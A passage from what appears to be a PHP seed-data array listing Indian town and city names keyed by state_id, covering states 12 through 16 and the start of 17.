=> '12', 'name' => 'karachiya'],\n ['state_id' => '12', 'name' => 'karamsad'],\n ['state_id' => '12', 'name' => 'karjan'],\n ['state_id' => '12', 'name' => 'kathial'],\n ['state_id' => '12', 'name' => 'kathor'],\n ['state_id' => '12', 'name' => 'katpar'],\n ['state_id' => '12', 'name' => 'kavant'],\n ['state_id' => '12', 'name' => 'keshod'],\n ['state_id' => '12', 'name' => 'kevadiya'],\n ['state_id' => '12', 'name' => 'khambhaliya'],\n ['state_id' => '12', 'name' => 'khambhat'],\n ['state_id' => '12', 'name' => 'kharaghoda'],\n ['state_id' => '12', 'name' => 'khed brahma'],\n ['state_id' => '12', 'name' => 'kheda'],\n ['state_id' => '12', 'name' => 'kheralu'],\n ['state_id' => '12', 'name' => 'kodinar'],\n ['state_id' => '12', 'name' => 'kosamba'],\n ['state_id' => '12', 'name' => 'kundla'],\n ['state_id' => '12', 'name' => 'kutch'],\n ['state_id' => '12', 'name' => 'kutiyana'],\n ['state_id' => '12', 'name' => 'lakhtar'],\n ['state_id' => '12', 'name' => 'lalpur'],\n ['state_id' => '12', 'name' => 'lambha'],\n ['state_id' => '12', 'name' => 'lathi'],\n ['state_id' => '12', 'name' => 'limbdi'],\n ['state_id' => '12', 'name' => 'limla'],\n ['state_id' => '12', 'name' => 'lunavada'],\n ['state_id' => '12', 'name' => 'madhapar'],\n ['state_id' => '12', 'name' => 'maflipur'],\n ['state_id' => '12', 'name' => 'mahemdavad'],\n ['state_id' => '12', 'name' => 'mahudha'],\n ['state_id' => '12', 'name' => 'mahuva'],\n ['state_id' => '12', 'name' => 'mahuvar'],\n ['state_id' => '12', 'name' => 'makarba'],\n ['state_id' => '12', 'name' => 'makarpura'],\n ['state_id' => '12', 'name' => 'makassar'],\n ['state_id' => '12', 'name' => 'maktampur'],\n ['state_id' => '12', 'name' => 'malia'],\n ['state_id' => '12', 'name' => 'malpur'],\n ['state_id' => '12', 'name' => 'manavadar'],\n ['state_id' => '12', 'name' => 'mandal'],\n ['state_id' => '12', 'name' => 'mandvi'],\n ['state_id' => '12', 'name' => 'mangrol'],\n ['state_id' => '12', 'name' => 'mansa'],\n ['state_id' => '12', 'name' => 'meghraj'],\n ['state_id' => '12', 'name' => 'mehsana'],\n ['state_id' => '12', 'name' => 'mendarla'],\n ['state_id' => '12', 'name' => 'mithapur'],\n ['state_id' => '12', 'name' => 'modasa'],\n ['state_id' => '12', 'name' => 'mogravadi'],\n ['state_id' => '12', 'name' => 'morbi'],\n ['state_id' => '12', 'name' => 'morvi'],\n ['state_id' => '12', 'name' => 'mundra'],\n ['state_id' => '12', 'name' => 'nadiad'],\n ['state_id' => '12', 'name' => 'naliya'],\n ['state_id' => '12', 'name' => 'nanakvada'],\n ['state_id' => '12', 'name' => 'nandej'],\n ['state_id' => '12', 'name' => 'nandesari'],\n ['state_id' => '12', 'name' => 'nandesari ina'],\n ['state_id' => '12', 'name' => 'naroda'],\n ['state_id' => '12', 'name' => 'navagadh'],\n ['state_id' => '12', 'name' => 'navagam ghed'],\n ['state_id' => '12', 'name' => 'navsari'],\n ['state_id' => '12', 'name' => 'ode'],\n ['state_id' => '12', 'name' => 'okaf'],\n ['state_id' => '12', 'name' => 'okha'],\n ['state_id' => '12', 'name' => 'olpad'],\n ['state_id' => '12', 'name' => 'paddhari'],\n ['state_id' => '12', 'name' => 'padra'],\n ['state_id' => '12', 'name' => 'palanpur'],\n ['state_id' => '12', 'name' => 'palej'],\n ['state_id' => '12', 'name' => 'pali'],\n ['state_id' => '12', 'name' => 'palitana'],\n ['state_id' => '12', 'name' => 'paliyad'],\n ['state_id' => '12', 'name' => 'pandesara'],\n ['state_id' => '12', 'name' => 'panoli'],\n ['state_id' => '12', 'name' => 'pardi'],\n ['state_id' => '12', 'name' => 'parnera'],\n ['state_id' => '12', 'name' => 'parvat'],\n ['state_id' => '12', 'name' => 'patan'],\n ['state_id' => '12', 'name' => 'patdi'],\n ['state_id' => '12', 'name' => 'petlad'],\n ['state_id' => '12', 'name' => 'petrochemical complex'],\n ['state_id' => '12', 'name' => 'porbandar'],\n ['state_id' => '12', 'name' => 'prantij'],\n ['state_id' => '12', 'name' => 'radhanpur'],\n ['state_id' => '12', 'name' => 'raiya'],\n ['state_id' => '12', 'name' => 'rajkot'],\n ['state_id' => '12', 'name' => 'rajpipla'],\n ['state_id' => '12', 'name' => 'rajula'],\n ['state_id' => '12', 'name' => 'ramod'],\n ['state_id' => '12', 'name' => 'ranavav'],\n ['state_id' => '12', 'name' => 'ranoli'],\n ['state_id' => '12', 'name' => 'rapar'],\n ['state_id' => '12', 'name' => 'sahij'],\n ['state_id' => '12', 'name' => 'salaya'],\n ['state_id' => '12', 'name' => 'sanand'],\n ['state_id' => '12', 'name' => 'sankheda'],\n ['state_id' => '12', 'name' => 'santrampur'],\n ['state_id' => '12', 'name' => 'saribujrang'],\n ['state_id' => '12', 'name' => 'sarigam ina'],\n ['state_id' => '12', 'name' => 'sayan'],\n ['state_id' => '12', 'name' => 'sayla'],\n ['state_id' => '12', 'name' => 'shahpur'],\n ['state_id' => '12', 'name' => 'shahwadi'],\n ['state_id' => '12', 'name' => 'shapar'],\n ['state_id' => '12', 'name' => 'shivrajpur'],\n ['state_id' => '12', 'name' => 'siddhapur'],\n ['state_id' => '12', 'name' => 'sidhpur'],\n ['state_id' => '12', 'name' => 'sihor'],\n ['state_id' => '12', 'name' => 'sika'],\n ['state_id' => '12', 'name' => 'singarva'],\n ['state_id' => '12', 'name' => 'sinor'],\n ['state_id' => '12', 'name' => 'sojitra'],\n ['state_id' => '12', 'name' => 'sola'],\n ['state_id' => '12', 'name' => 'songadh'],\n ['state_id' => '12', 'name' => 'suraj karadi'],\n ['state_id' => '12', 'name' => 'surat'],\n ['state_id' => '12', 'name' => 'surendranagar'],\n ['state_id' => '12', 'name' => 'talaja'],\n ['state_id' => '12', 'name' => 'talala'],\n ['state_id' => '12', 'name' => 'talod'],\n ['state_id' => '12', 'name' => 'tankara'],\n ['state_id' => '12', 'name' => 'tarsali'],\n ['state_id' => '12', 'name' => 'thangadh'],\n ['state_id' => '12', 'name' => 'tharad'],\n ['state_id' => '12', 'name' => 'thasra'],\n ['state_id' => '12', 'name' => 'udyognagar'],\n ['state_id' => '12', 'name' => 'ukai'],\n ['state_id' => '12', 'name' => 'umbergaon'],\n ['state_id' => '12', 'name' => 'umbergaon ina'],\n ['state_id' => '12', 'name' => 'umrala'],\n ['state_id' => '12', 'name' => 'umreth'],\n ['state_id' => '12', 'name' => 'un'],\n ['state_id' => '12', 'name' => 'una'],\n ['state_id' => '12', 'name' => 'unjha'],\n ['state_id' => '12', 'name' => 'upleta'],\n ['state_id' => '12', 'name' => 'utran'],\n ['state_id' => '12', 'name' => 'uttarsanda'],\n ['state_id' => '12', 'name' => 'v.u. nagar'],\n ['state_id' => '12', 'name' => 'v.v. nagar'],\n ['state_id' => '12', 'name' => 'vadia'],\n ['state_id' => '12', 'name' => 'vadla'],\n ['state_id' => '12', 'name' => 'vadnagar'],\n ['state_id' => '12', 'name' => 'vadodara'],\n ['state_id' => '12', 'name' => 'vaghodia ina'],\n ['state_id' => '12', 'name' => 'valbhipur'],\n ['state_id' => '12', 'name' => 'vallabh vidyanagar'],\n ['state_id' => '12', 'name' => 'valsad'],\n ['state_id' => '12', 'name' => 'valsad ina'],\n ['state_id' => '12', 'name' => 'vanthali'],\n ['state_id' => '12', 'name' => 'vapi'],\n ['state_id' => '12', 'name' => 'vapi ina'],\n ['state_id' => '12', 'name' => 'vartej'],\n ['state_id' => '12', 'name' => 'vasad'],\n ['state_id' => '12', 'name' => 'vasna borsad ina'],\n ['state_id' => '12', 'name' => 'vaso'],\n ['state_id' => '12', 'name' => 'veraval'],\n ['state_id' => '12', 'name' => 'vidyanagar'],\n ['state_id' => '12', 'name' => 'vijalpor'],\n ['state_id' => '12', 'name' => 'vijapur'],\n ['state_id' => '12', 'name' => 'vinchhiya'],\n ['state_id' => '12', 'name' => 'vinzol'],\n ['state_id' => '12', 'name' => 'virpur'],\n ['state_id' => '12', 'name' => 'visavadar'],\n ['state_id' => '12', 'name' => 'visnagar'],\n ['state_id' => '12', 'name' => 'vyara'],\n ['state_id' => '12', 'name' => 'wadhwan'],\n ['state_id' => '12', 'name' => 'waghai'],\n ['state_id' => '12', 'name' => 'waghodia'],\n ['state_id' => '12', 'name' => 'wankaner'],\n ['state_id' => '12', 'name' => 'zalod'],\n ['state_id' => '13', 'name' => 'ambala'],\n ['state_id' => '13', 'name' => 'ambala cantt'],\n ['state_id' => '13', 'name' => 'asan khurd'],\n ['state_id' => '13', 'name' => 'asandh'],\n ['state_id' => '13', 'name' => 'ateli'],\n ['state_id' => '13', 'name' => 'babiyal'],\n ['state_id' => '13', 'name' => 'bahadurgarh'],\n ['state_id' => '13', 'name' => 'ballabgarh'],\n ['state_id' => '13', 'name' => 'barwala'],\n ['state_id' => '13', 'name' => 'bawal'],\n ['state_id' => '13', 'name' => 'bawani khera'],\n ['state_id' => '13', 'name' => 'beri'],\n ['state_id' => '13', 'name' => 'bhiwani'],\n ['state_id' => '13', 'name' => 'bilaspur'],\n ['state_id' => '13', 'name' => 'buria'],\n ['state_id' => '13', 'name' => 'charkhi dadri'],\n ['state_id' => '13', 'name' => 'chhachhrauli'],\n ['state_id' => '13', 'name' => 'chita'],\n ['state_id' => '13', 'name' => 'dabwali'],\n ['state_id' => '13', 'name' => 'dharuhera'],\n ['state_id' => '13', 'name' => 'dundahera'],\n ['state_id' => '13', 'name' => 'ellenabad'],\n ['state_id' => '13', 'name' => 'farakhpur'],\n ['state_id' => '13', 'name' => 'faridabad'],\n ['state_id' => '13', 'name' => 'farrukhnagar'],\n ['state_id' => '13', 'name' => 'fatehabad'],\n ['state_id' => '13', 'name' => 'firozpur jhirka'],\n ['state_id' => '13', 'name' => 'gannaur'],\n ['state_id' => '13', 'name' => 'ghraunda'],\n ['state_id' => '13', 'name' => 'gohana'],\n ['state_id' => '13', 'name' => 'gurgaon'],\n ['state_id' => '13', 'name' => 'haileymandi'],\n ['state_id' => '13', 'name' => 'hansi'],\n ['state_id' => '13', 'name' => 'hasanpur'],\n ['state_id' => '13', 'name' => 'hathin'],\n ['state_id' => '13', 'name' => 'hisar'],\n ['state_id' => '13', 'name' => 'hissar'],\n ['state_id' => '13', 'name' => 'hodal'],\n ['state_id' => '13', 'name' => 'indri'],\n ['state_id' => '13', 'name' => 'jagadhri'],\n ['state_id' => '13', 'name' => 'jakhal mandi'],\n ['state_id' => '13', 'name' => 'jhajjar'],\n ['state_id' => '13', 'name' => 'jind'],\n ['state_id' => '13', 'name' => 'julana'],\n ['state_id' => '13', 'name' => 'kaithal'],\n ['state_id' => '13', 'name' => 'kalanur'],\n ['state_id' => '13', 'name' => 'kalanwali'],\n ['state_id' => '13', 'name' => 'kalayat'],\n ['state_id' => '13', 'name' => 'kalka'],\n ['state_id' => '13', 'name' => 'kanina'],\n ['state_id' => '13', 'name' => 'kansepur'],\n ['state_id' => '13', 'name' => 'kardhan'],\n ['state_id' => '13', 'name' => 'karnal'],\n ['state_id' => '13', 'name' => 'kharkhoda'],\n ['state_id' => '13', 'name' => 'kheri sampla'],\n ['state_id' => '13', 'name' => 'kundli'],\n ['state_id' => '13', 'name' => 'kurukshetra'],\n ['state_id' => '13', 'name' => 'ladrawan'],\n ['state_id' => '13', 'name' => 'ladwa'],\n ['state_id' => '13', 'name' => 'loharu'],\n ['state_id' => '13', 'name' => 'maham'],\n ['state_id' => '13', 'name' => 'mahendragarh'],\n ['state_id' => '13', 'name' => 'mustafabad'],\n ['state_id' => '13', 'name' => 'nagai chaudhry'],\n ['state_id' => '13', 'name' => 'narayangarh'],\n ['state_id' => '13', 'name' => 'narnaul'],\n ['state_id' => '13', 'name' => 'narnaund'],\n ['state_id' => '13', 'name' => 'narwana'],\n ['state_id' => '13', 'name' => 'nilokheri'],\n ['state_id' => '13', 'name' => 'nuh'],\n ['state_id' => '13', 'name' => 'palwal'],\n ['state_id' => '13', 'name' => 'panchkula'],\n ['state_id' => '13', 'name' => 'panipat'],\n ['state_id' => '13', 'name' => 'panipat taraf ansar'],\n ['state_id' => '13', 'name' => 'panipat taraf makhdum zadgan'],\n ['state_id' => '13', 'name' => 'panipat taraf rajputan'],\n ['state_id' => '13', 'name' => 'pehowa'],\n ['state_id' => '13', 'name' => 'pinjaur'],\n ['state_id' => '13', 'name' => 'punahana'],\n ['state_id' => '13', 'name' => 'pundri'],\n ['state_id' => '13', 'name' => 'radaur'],\n ['state_id' => '13', 'name' => 'raipur rani'],\n ['state_id' => '13', 'name' => 'rania'],\n ['state_id' => '13', 'name' => 'ratiya'],\n ['state_id' => '13', 'name' => 'rewari'],\n ['state_id' => '13', 'name' => 'rohtak'],\n ['state_id' => '13', 'name' => 'ropar'],\n ['state_id' => '13', 'name' => 'sadauri'],\n ['state_id' => '13', 'name' => 'safidon'],\n ['state_id' => '13', 'name' => 'samalkha'],\n ['state_id' => '13', 'name' => 'sankhol'],\n ['state_id' => '13', 'name' => 'sasauli'],\n ['state_id' => '13', 'name' => 'shahabad'],\n ['state_id' => '13', 'name' => 'sirsa'],\n ['state_id' => '13', 'name' => 'siwani'],\n ['state_id' => '13', 'name' => 'sohna'],\n ['state_id' => '13', 'name' => 'sonipat'],\n ['state_id' => '13', 'name' => 'sukhrali'],\n ['state_id' => '13', 'name' => 'taoru'],\n ['state_id' => '13', 'name' => 'taraori'],\n ['state_id' => '13', 'name' => 'tauru'],\n ['state_id' => '13', 'name' => 'thanesar'],\n ['state_id' => '13', 'name' => 'tilpat'],\n ['state_id' => '13', 'name' => 'tohana'],\n ['state_id' => '13', 'name' => 'tosham'],\n ['state_id' => '13', 'name' => 'uchana'],\n ['state_id' => '13', 'name' => 'uklana mandi'],\n ['state_id' => '13', 'name' => 'uncha siwana'],\n ['state_id' => '13', 'name' => 'yamunanagar'],\n ['state_id' => '14', 'name' => 'arki'],\n ['state_id' => '14', 'name' => 'baddi'],\n ['state_id' => '14', 'name' => 'bakloh'],\n ['state_id' => '14', 'name' => 'banjar'],\n ['state_id' => '14', 'name' => 'bhota'],\n ['state_id' => '14', 'name' => 'bhuntar'],\n ['state_id' => '14', 'name' => 'bilaspur'],\n ['state_id' => '14', 'name' => 'chamba'],\n ['state_id' => '14', 'name' => 'chaupal'],\n ['state_id' => '14', 'name' => 'chuari khas'],\n ['state_id' => '14', 'name' => 'dagshai'],\n ['state_id' => '14', 'name' => 'dalhousie'],\n ['state_id' => '14', 'name' => 'dalhousie cantonment'],\n ['state_id' => '14', 'name' => 'damtal'],\n ['state_id' => '14', 'name' => 'daulatpur'],\n ['state_id' => '14', 'name' => 'dera gopipur'],\n ['state_id' => '14', 'name' => 'dhalli'],\n ['state_id' => '14', 'name' => 'dharamshala'],\n ['state_id' => '14', 'name' => 'gagret'],\n ['state_id' => '14', 'name' => 'ghamarwin'],\n ['state_id' => '14', 'name' => 'hamirpur'],\n ['state_id' => '14', 'name' => 'jawala mukhi'],\n ['state_id' => '14', 'name' => 'jogindarnagar'],\n ['state_id' => '14', 'name' => 'jubbal'],\n ['state_id' => '14', 'name' => 'jutogh'],\n ['state_id' => '14', 'name' => 'kala amb'],\n ['state_id' => '14', 'name' => 'kalpa'],\n ['state_id' => '14', 'name' => 'kangra'],\n ['state_id' => '14', 'name' => 'kasauli'],\n ['state_id' => '14', 'name' => 'kot khai'],\n ['state_id' => '14', 'name' => 'kullu'],\n ['state_id' => '14', 'name' => 'kulu'],\n ['state_id' => '14', 'name' => 'manali'],\n ['state_id' => '14', 'name' => 'mandi'],\n ['state_id' => '14', 'name' => 'mant khas'],\n ['state_id' => '14', 'name' => 'mehatpur basdehra'],\n ['state_id' => '14', 'name' => 'nadaun'],\n ['state_id' => '14', 'name' => 'nagrota'],\n ['state_id' => '14', 'name' => 'nahan'],\n ['state_id' => '14', 'name' => 'naina devi'],\n ['state_id' => '14', 'name' => 'nalagarh'],\n ['state_id' => '14', 'name' => 'narkanda'],\n ['state_id' => '14', 'name' => 'nurpur'],\n ['state_id' => '14', 'name' => 'palampur'],\n ['state_id' => '14', 'name' => 'pandoh'],\n ['state_id' => '14', 'name' => 'paonta sahib'],\n ['state_id' => '14', 'name' => 'parwanoo'],\n ['state_id' => '14', 'name' => 'parwanu'],\n ['state_id' => '14', 'name' => 'rajgarh'],\n ['state_id' => '14', 'name' => 'rampur'],\n ['state_id' => '14', 'name' => 'rawalsar'],\n ['state_id' => '14', 'name' => 'rohru'],\n ['state_id' => '14', 'name' => 'sabathu'],\n ['state_id' => '14', 'name' => 'santokhgarh'],\n ['state_id' => '14', 'name' => 'sarahan'],\n ['state_id' => '14', 'name' => 'sarka ghat'],\n ['state_id' => '14', 'name' => 'seoni'],\n ['state_id' => '14', 'name' => 'shimla'],\n ['state_id' => '14', 'name' => 'sirmaur'],\n ['state_id' => '14', 'name' => 'solan'],\n ['state_id' => '14', 'name' => 'solon'],\n ['state_id' => '14', 'name' => 'sundarnagar'],\n ['state_id' => '14', 'name' => 'sundernagar'],\n ['state_id' => '14', 'name' => 'talai'],\n ['state_id' => '14', 'name' => 'theog'],\n ['state_id' => '14', 'name' => 'tira sujanpur'],\n ['state_id' => '14', 'name' => 'una'],\n ['state_id' => '14', 'name' => 'yol'],\n ['state_id' => '15', 'name' => 'achabal'],\n ['state_id' => '15', 'name' => 'akhnur'],\n ['state_id' => '15', 'name' => 'anantnag'],\n ['state_id' => '15', 'name' => 'arnia'],\n ['state_id' => '15', 'name' => 'awantipora'],\n ['state_id' => '15', 'name' => 'badami bagh'],\n ['state_id' => '15', 'name' => 'bandipur'],\n ['state_id' => '15', 'name' => 'banihal'],\n ['state_id' => '15', 'name' => 'baramula'],\n ['state_id' => '15', 'name' => 'baramulla'],\n ['state_id' => '15', 'name' => 'bari brahmana'],\n ['state_id' => '15', 'name' => 'bashohli'],\n ['state_id' => '15', 'name' => 'batote'],\n ['state_id' => '15', 'name' => 'bhaderwah'],\n ['state_id' => '15', 'name' => 'bijbiara'],\n ['state_id' => '15', 'name' => 'billawar'],\n ['state_id' => '15', 'name' => 'birwah'],\n ['state_id' => '15', 'name' => 'bishna'],\n ['state_id' => '15', 'name' => 'budgam'],\n ['state_id' => '15', 'name' => 'charari sharief'],\n ['state_id' => '15', 'name' => 'chenani'],\n ['state_id' => '15', 'name' => 'doda'],\n ['state_id' => '15', 'name' => 'duru-verinag'],\n ['state_id' => '15', 'name' => 'gandarbat'],\n ['state_id' => '15', 'name' => 'gho manhasan'],\n ['state_id' => '15', 'name' => 'gorah salathian'],\n ['state_id' => '15', 'name' => 'gulmarg'],\n ['state_id' => '15', 'name' => 'hajan'],\n ['state_id' => '15', 'name' => 'handwara'],\n ['state_id' => '15', 'name' => 'hiranagar'],\n ['state_id' => '15', 'name' => 'jammu'],\n ['state_id' => '15', 'name' => 'jammu cantonment'],\n ['state_id' => '15', 'name' => 'jammu tawi'],\n ['state_id' => '15', 'name' => 'jourian'],\n ['state_id' => '15', 'name' => 'kargil'],\n ['state_id' => '15', 'name' => 'kathua'],\n ['state_id' => '15', 'name' => 'katra'],\n ['state_id' => '15', 'name' => 'khan sahib'],\n ['state_id' => '15', 'name' => 'khour'],\n ['state_id' => '15', 'name' => 'khrew'],\n ['state_id' => '15', 'name' => 'kishtwar'],\n ['state_id' => '15', 'name' => 'kud'],\n ['state_id' => '15', 'name' => 'kukernag'],\n ['state_id' => '15', 'name' => 'kulgam'],\n ['state_id' => '15', 'name' => 'kunzer'],\n ['state_id' => '15', 'name' => 'kupwara'],\n ['state_id' => '15', 'name' => 'lakhenpur'],\n ['state_id' => '15', 'name' => 'leh'],\n ['state_id' => '15', 'name' => 'magam'],\n ['state_id' => '15', 'name' => 'mattan'],\n ['state_id' => '15', 'name' => 'naushehra'],\n ['state_id' => '15', 'name' => 'pahalgam'],\n ['state_id' => '15', 'name' => 'pampore'],\n ['state_id' => '15', 'name' => 'parole'],\n ['state_id' => '15', 'name' => 'pattan'],\n ['state_id' => '15', 'name' => 'pulwama'],\n ['state_id' => '15', 'name' => 'punch'],\n ['state_id' => '15', 'name' => 'qazigund'],\n ['state_id' => '15', 'name' => 'rajauri'],\n ['state_id' => '15', 'name' => 'ramban'],\n ['state_id' => '15', 'name' => 'ramgarh'],\n ['state_id' => '15', 'name' => 'ramnagar'],\n ['state_id' => '15', 'name' => 'ranbirsingh pora'],\n ['state_id' => '15', 'name' => 'reasi'],\n ['state_id' => '15', 'name' => 'rehambal'],\n ['state_id' => '15', 'name' => 'samba'],\n ['state_id' => '15', 'name' => 'shupiyan'],\n ['state_id' => '15', 'name' => 'sopur'],\n ['state_id' => '15', 'name' => 'srinagar'],\n ['state_id' => '15', 'name' => 'sumbal'],\n ['state_id' => '15', 'name' => 'sunderbani'],\n ['state_id' => '15', 'name' => 'talwara'],\n ['state_id' => '15', 'name' => 'thanamandi'],\n ['state_id' => '15', 'name' => 'tral'],\n ['state_id' => '15', 'name' => 'udhampur'],\n ['state_id' => '15', 'name' => 'uri'],\n ['state_id' => '15', 'name' => 'vijaypur'],\n ['state_id' => '16', 'name' => 'adityapur'],\n ['state_id' => '16', 'name' => 'amlabad'],\n ['state_id' => '16', 'name' => 'angarpathar'],\n ['state_id' => '16', 'name' => 'ara'],\n ['state_id' => '16', 'name' => 'babua kalan'],\n ['state_id' => '16', 'name' => 'bagbahra'],\n ['state_id' => '16', 'name' => 'baliapur'],\n ['state_id' => '16', 'name' => 'baliari'],\n ['state_id' => '16', 'name' => 'balkundra'],\n ['state_id' => '16', 'name' => 'bandhgora'],\n ['state_id' => '16', 'name' => 'barajamda'],\n ['state_id' => '16', 'name' => 'barhi'],\n ['state_id' => '16', 'name' => 'barka kana'],\n ['state_id' => '16', 'name' => 'barki saraiya'],\n ['state_id' => '16', 'name' => 'barughutu'],\n ['state_id' => '16', 'name' => 'barwadih'],\n ['state_id' => '16', 'name' => 'basaria'],\n ['state_id' => '16', 'name' => 'basukinath'],\n ['state_id' => '16', 'name' => 'bermo'],\n ['state_id' => '16', 'name' => 'bhagatdih'],\n ['state_id' => '16', 'name' => 'bhaurah'],\n ['state_id' => '16', 'name' => 'bhojudih'],\n ['state_id' => '16', 'name' => 'bhuli'],\n ['state_id' => '16', 'name' => 'bokaro'],\n ['state_id' => '16', 'name' => 'borio bazar'],\n ['state_id' => '16', 'name' => 'bundu'],\n ['state_id' => '16', 'name' => 'chaibasa'],\n ['state_id' => '16', 'name' => 'chaitudih'],\n ['state_id' => '16', 'name' => 'chakradharpur'],\n ['state_id' => '16', 'name' => 'chakulia'],\n ['state_id' => '16', 'name' => 'chandaur'],\n ['state_id' => '16', 'name' => 'chandil'],\n ['state_id' => '16', 'name' => 'chandrapura'],\n ['state_id' => '16', 'name' => 'chas'],\n ['state_id' => '16', 'name' => 'chatra'],\n ['state_id' => '16', 'name' => 'chhatatanr'],\n ['state_id' => '16', 'name' => 'chhotaputki'],\n ['state_id' => '16', 'name' => 'chiria'],\n ['state_id' => '16', 'name' => 'chirkunda'],\n ['state_id' => '16', 'name' => 'churi'],\n ['state_id' => '16', 'name' => 'daltenganj'],\n ['state_id' => '16', 'name' => 'danguwapasi'],\n ['state_id' => '16', 'name' => 'dari'],\n ['state_id' => '16', 'name' => 'deoghar'],\n ['state_id' => '16', 'name' => 'deorikalan'],\n ['state_id' => '16', 'name' => 'devghar'],\n ['state_id' => '16', 'name' => 'dhanbad'],\n ['state_id' => '16', 'name' => 'dhanwar'],\n ['state_id' => '16', 'name' => 'dhaunsar'],\n ['state_id' => '16', 'name' => 'dugda'],\n ['state_id' => '16', 'name' => 'dumarkunda'],\n ['state_id' => '16', 'name' => 'dumka'],\n ['state_id' => '16', 'name' => 'egarkunr'],\n ['state_id' => '16', 'name' => 'gadhra'],\n ['state_id' => '16', 'name' => 'garwa'],\n ['state_id' => '16', 'name' => 'ghatsila'],\n ['state_id' => '16', 'name' => 'ghorabandha'],\n ['state_id' => '16', 'name' => 'gidi'],\n ['state_id' => '16', 'name' => 'giridih'],\n ['state_id' => '16', 'name' => 'gobindpur'],\n ['state_id' => '16', 'name' => 'godda'],\n ['state_id' => '16', 'name' => 'godhar'],\n ['state_id' => '16', 'name' => 'golphalbari'],\n ['state_id' => '16', 'name' => 'gomoh'],\n ['state_id' => '16', 'name' => 'gua'],\n ['state_id' => '16', 'name' => 'gumia'],\n ['state_id' => '16', 'name' => 'gumla'],\n ['state_id' => '16', 'name' => 'haludbani'],\n ['state_id' => '16', 'name' => 'hazaribag'],\n ['state_id' => '16', 'name' => 'hesla'],\n ['state_id' => '16', 'name' => 'husainabad'],\n ['state_id' => '16', 'name' => 'isri'],\n ['state_id' => '16', 'name' => 'jadugora'],\n ['state_id' => '16', 'name' => 'jagannathpur'],\n ['state_id' => '16', 'name' => 'jamadoba'],\n ['state_id' => '16', 'name' => 'jamshedpur'],\n ['state_id' => '16', 'name' => 'jamtara'],\n ['state_id' => '16', 'name' => 'jarangdih'],\n ['state_id' => '16', 'name' => 'jaridih'],\n ['state_id' => '16', 'name' => 'jasidih'],\n ['state_id' => '16', 'name' => 'jena'],\n ['state_id' => '16', 'name' => 'jharia'],\n ['state_id' => '16', 'name' => 'jharia khas'],\n ['state_id' => '16', 'name' => 'jhinkpani'],\n ['state_id' => '16', 'name' => 'jhumri tilaiya'],\n ['state_id' => '16', 'name' => 'jorapokhar'],\n ['state_id' => '16', 'name' => 'jugsalai'],\n ['state_id' => '16', 'name' => 'kailudih'],\n ['state_id' => '16', 'name' => 'kalikapur'],\n ['state_id' => '16', 'name' => 'kandra'],\n ['state_id' => '16', 'name' => 'kanke'],\n ['state_id' => '16', 'name' => 'katras'],\n ['state_id' => '16', 'name' => 'kedla'],\n ['state_id' => '16', 'name' => 'kenduadih'],\n ['state_id' => '16', 'name' => 'kharkhari'],\n ['state_id' => '16', 'name' => 'kharsawan'],\n ['state_id' => '16', 'name' => 'khelari'],\n ['state_id' => '16', 'name' => 'khunti'],\n ['state_id' => '16', 'name' => 'kiri buru'],\n ['state_id' => '16', 'name' => 'kiriburu'],\n ['state_id' => '16', 'name' => 'kodarma'],\n ['state_id' => '16', 'name' => 'kuju'],\n ['state_id' => '16', 'name' => 'kurpania'],\n ['state_id' => '16', 'name' => 'kustai'],\n ['state_id' => '16', 'name' => 'lakarka'],\n ['state_id' => '16', 'name' => 'lapanga'],\n ['state_id' => '16', 'name' => 'latehar'],\n ['state_id' => '16', 'name' => 'lohardaga'],\n ['state_id' => '16', 'name' => 'loiya'],\n ['state_id' => '16', 'name' => 'loyabad'],\n ['state_id' => '16', 'name' => 'madhupur'],\n ['state_id' => '16', 'name' => 'mahesh mundi'],\n ['state_id' => '16', 'name' => 'maithon'],\n ['state_id' => '16', 'name' => 'malkera'],\n ['state_id' => '16', 'name' => 'mango'],\n ['state_id' => '16', 'name' => 'manoharpur'],\n ['state_id' => '16', 'name' => 'marma'],\n ['state_id' => '16', 'name' => 'meghahatuburu forest village'],\n ['state_id' => '16', 'name' => 'mera'],\n ['state_id' => '16', 'name' => 'meru'],\n ['state_id' => '16', 'name' => 'mihijam'],\n ['state_id' => '16', 'name' => 'mugma'],\n ['state_id' => '16', 'name' => 'muri'],\n ['state_id' => '16', 'name' => 'mushabani'],\n ['state_id' => '16', 'name' => 'nagri kalan'],\n ['state_id' => '16', 'name' => 'netarhat'],\n ['state_id' => '16', 'name' => 'nirsa'],\n ['state_id' => '16', 'name' => 'noamundi'],\n ['state_id' => '16', 'name' => 'okni'],\n ['state_id' => '16', 'name' => 'orla'],\n ['state_id' => '16', 'name' => 'pakaur'],\n ['state_id' => '16', 'name' => 'palamau'],\n ['state_id' => '16', 'name' => 'palawa'],\n ['state_id' => '16', 'name' => 'panchet'],\n ['state_id' => '16', 'name' => 'panrra'],\n ['state_id' => '16', 'name' => 'paratdih'],\n ['state_id' => '16', 'name' => 'pathardih'],\n ['state_id' => '16', 'name' => 'patratu'],\n ['state_id' => '16', 'name' => 'phusro'],\n ['state_id' => '16', 'name' => 'pondar kanali'],\n ['state_id' => '16', 'name' => 'rajmahal'],\n ['state_id' => '16', 'name' => 'ramgarh'],\n ['state_id' => '16', 'name' => 'ranchi'],\n ['state_id' => '16', 'name' => 'ray'],\n ['state_id' => '16', 'name' => 'rehla'],\n ['state_id' => '16', 'name' => 'religara'],\n ['state_id' => '16', 'name' => 'rohraband'],\n ['state_id' => '16', 'name' => 'sahibganj'],\n ['state_id' => '16', 'name' => 'sahnidih'],\n ['state_id' => '16', 'name' => 'saraidhela'],\n ['state_id' => '16', 'name' => 'saraikela'],\n ['state_id' => '16', 'name' => 'sarjamda'],\n ['state_id' => '16', 'name' => 'saunda'],\n ['state_id' => '16', 'name' => 'sewai'],\n ['state_id' => '16', 'name' => 'sijhua'],\n ['state_id' => '16', 'name' => 'sijua'],\n ['state_id' => '16', 'name' => 'simdega'],\n ['state_id' => '16', 'name' => 'sindari'],\n ['state_id' => '16', 'name' => 'sinduria'],\n ['state_id' => '16', 'name' => 'sini'],\n ['state_id' => '16', 'name' => 'sirka'],\n ['state_id' => '16', 'name' => 'siuliban'],\n ['state_id' => '16', 'name' => 'surubera'],\n ['state_id' => '16', 'name' => 'tati'],\n ['state_id' => '16', 'name' => 'tenudam'],\n ['state_id' => '16', 'name' => 'tisra'],\n ['state_id' => '16', 'name' => 'topa'],\n ['state_id' => '16', 'name' => 'topchanchi'],\n ['state_id' => '17', 'name' => 'adityanagar'],\n ['state_id' => '17', 'name' => 'adityapatna'],\n ['state_id' => '17', 'name' => 'afzalpur'],\n ['state_id' => '17', 'name' => 'ajjampur'],\n ['state_id' => '17', 'name' => 'aland'],\n ['state_id' => '17', 'name' => 'almatti sitimani'],\n 